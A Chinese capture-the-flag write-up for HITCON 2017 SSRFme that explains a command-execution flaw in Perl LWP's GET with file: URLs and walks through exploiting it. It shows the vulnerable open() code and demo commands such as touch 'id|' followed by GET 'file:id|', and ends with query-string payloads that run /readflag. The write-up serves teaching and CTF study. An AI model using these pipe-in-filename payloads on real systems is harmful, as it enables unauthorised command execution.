perl脚本中GET命令执行漏洞([HITCON2017]SSRFme)
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
perl脚本中GET命令执⾏漏洞([HITCON2017]SSRFme)
GET命令执⾏漏洞
思路来⾃于HITCON2017中的ssrfme,考点是GET的任意命令执⾏。
代码很简单,调⽤命令GET来执⾏从url获取的参数,然后按照filename新建⽂件,写⼊GET的结果。
我不知道关于这个问题最早是什么时候爆出的了,但确实已经很多年了。
root@iZ285ei82c1Z:~/test# cat a.pl open(FD, '|id');print <FD>;root@iZ285ei82c1Z:~/test# perl a.pl uid=0(root) gid=0(root) groups=0(root)root@iZ285ei82c1Z:~/test# cat test.pl open(FD, 'whoami|');print <FD>;root@iZ285ei82c1Z:~/test# perl test.pl moxiaoxi
⽽perl⾥的GET函数底层就是调⽤了open处理
file.pm84: opendir(D, $path) or132: open(F, $path) or return new
perl脚本中GET命令执⾏漏洞:(前提是⽂档需要存在)
touch 'id|'GET ’file:id|' uid=0(root) gid=0(root) groups=0(root)
open函数本⾝还⽀持file协议
root@iZ285ei82c1Z:~/test# cat /usr/share/perl5/LWP.pm...=head2 File Request
The library supports GET and HEAD methods for file requests. The'If-Modified-Since' header is supported. All other headers are
ignored. The I<host> component of the file URL must be empty or set
to 'localhost'. Any other I<host> value will be treated as an error.Directories are always converted to an HTML document. For normal
files, the 'Content-Type' and 'Content-Encoding' in the response are
guessed based on the file suffix.Example:
$req = HTTP::Request->new(GET => 'file:/etc/passwd');...
在perl下,如果open的第⼆个参数(path)可控,我们就能进⾏任意代码执⾏。
综合看起来像是⼀个把⽂件名拼接⼊命令导致的命令执⾏。
⽽GET对协议处理部分调⽤的是 /usr/share/perl5/LWP/Protocol下的各个pm模块,通过查询可以发现在file.pm中,path参数是完全可控的。
源码如下:
...# URL OK, look at filemy $path = $url->file;# test file exists and is readableunless (-e $path) {return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND, 'File `$path' does not exist');}...# read the fileif ($method ne 'HEAD') {open(F, $path) or return new HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR, 'Cannot read file '$path': $!');...
这⾥多了⼀个限制条件,就是file.pm会先判断⽂件是否存在。
若存在,才会触发最终的代码执⾏。
➜ test GET 'file:id|'➜ test touch 'id|'➜ test GET 'file:id|'uid=1000(moxiaoxi) gid=1000(moxiaoxi) groups=1000(moxiaoxi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)我们可以测试⼀下
root@iZ285ei82c1Z:~/test# GET 'file:id|'uid=0(root) gid=0(root) groups=0(root)
成功执⾏命令了,那么思路就清楚了,我们就可以通过传⼊命令⽂件名和命令来执⾏。
[HITCON 2017]SSRFme
已进⼊题⽬便给出了php代码:
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); // explode(separator,string)函数把以separator为分隔字符串将字符串打散为数组。
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER['REMOTE_ADDR'];
$sandbox = 'sandbox/' . md5('orange' . $_SERVER['REMOTE_ADDR']); // “REMOTE_ADDR”为正在浏览当前页⾯⽤户的 IP 地址。
@mkdir($sandbox);
@chdir($sandbox); // 改变当前的⽬录到$sandbox
$data = shell_exec('GET ' . escapeshellarg($_GET['url'])); // escapeshellarg()把字符串转码为可以在 shell 命令⾥使⽤的参数
$info = pathinfo($_GET['filename']); // pathinfo() 函数以数组的形式返回⽂件路径的信息。
$dir = str_replace('.', '', basename($info['dirname'])); // basename() 函数返回路径中的⽂件名部分。
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info['basename']), $data);
highlight_file(__FILE__);
// 以上代码⼤致为,调⽤GET(git)命令来执⾏从url获取的参数,从该url获取内容,然后按照filename新建⽂件,写⼊git到的结果。
escapeshellarg($arg) 把字符串转码为可以在 shell命令函数⾥使⽤的参数;将给字符串增加⼀个单引号并且能引⽤或者转码任何已经存在的单引号,这样以确保能够直接将⼀个字符串传⼊ shell函数,并且还是确保安全的。
对于⽤户输⼊的部分参数就应该使⽤这个函数。
shell 函数包含exec()、
system()、执⾏运算符反引号(``)。
arg需要被转码的参数。
例⼦:
<?phpsystem('ls '.escapeshellarg($dir)); ?>
pathinfo() 返回⼀个关联数组包含有 path 的信息。
包括以下的数组元素:
[dirname] //路径名
[basename] //⽂件名
[extension] //扩展名
例⼦ 1
<?php print_r(pathinfo('/testweb/test.txt')); ?>
<?php print_r(pathinfo('/testweb/test.txt')); ?>
输出:
Array ( [dirname] => /testweb [basename] => test.txt[extension] => txt )
根据源码可以发现php会对传过去的参数⽤escapeshellarg函数过滤。
先创建⼀个⽬录sandbox/md5(orange+ip),然后执⾏GIT $_GET['url'],然后会创建⽂件夹,并将执⾏GIT $_GET['url']后的结果放在该⽂件夹下⾯filename传过去的⽂件中。
先来看⼀下REMOTE_ADDR,REMOTE_ADDR为正在浏览当前页⾯⽤户的 IP 地址,题⽬已给出就不⽤查了,就是:
则⽬录$sandbox为sandbox/md5(orange111.73.46.229:80)即:sandbox/864300xxxxxxxxxxcc4523ef49c50223
⽅法⼀:
readflag是⼀个+了s权限的⼀个读flag的程序。
利⽤perl的open命令有可能会导致命令执⾏
在处理file协议的perl5/LWP/Protocol/file.pm的130⾏,如下:
#第47⾏
# test file exists and is readable
unless (-e $path) {
return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
'File `$path' does not exist');
}
unless (-r _) {
return HTTP::Response->new( &HTTP::Status::RC_FORBIDDEN,
'User does not have read permission');
}...#第127⾏
# read the file
if ($method ne 'HEAD') {
open(F, $path) or return new
HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
'Cannot read file '$path': $!');
binmode(F);
$response = $self->collect($arg, $response, sub {
my $content = '';
my $bytes = sysread(F, $content, $size);
return \$content if $bytes > 0;
return \ '';
});
close(F);
}...
ubuntu18.04 已经修复此漏洞
修复的⽅式是在下⾯第三⾏代码中,open中间加了个参数’<’
# read the file if ($method ne 'HEAD') { open(my $fh, '<' , $path) or return new //open 函数以只读的⽅式(<)打开⽂件 HTTP::Response(HTTP::Status::RC_INTERNAL_SERVER_ERROR, 'Cannot read file '$path': $!'); binmode($fh); $response = $self->collect($arg, $response, sub { my $content = ''; my $bytes = sysread($fh, $content, $size); return \$content if $bytes > 0; return \ ''; }); close($fh); }利⽤bash -c 'cmd string'来执⾏命令执⾏readflag。
(不⽤bash -c可以直接/readflag读取flag)
⾸先得满⾜前⾯的⽂件存在, 才会继续到open语句, 所以在执⾏命令前得保证有相应的同名⽂件:
?url=&filename=bash -c /readflag| 先新建⼀个名为“bash -c /readflag|”的⽂件,⽤于之后的命令执⾏
?url=file:bash -c /readflag|&filename=aaa 再利⽤GET执⾏bash -c /readflag保存到111⽂件
访问sandbox/md5/aaa(得到flag)。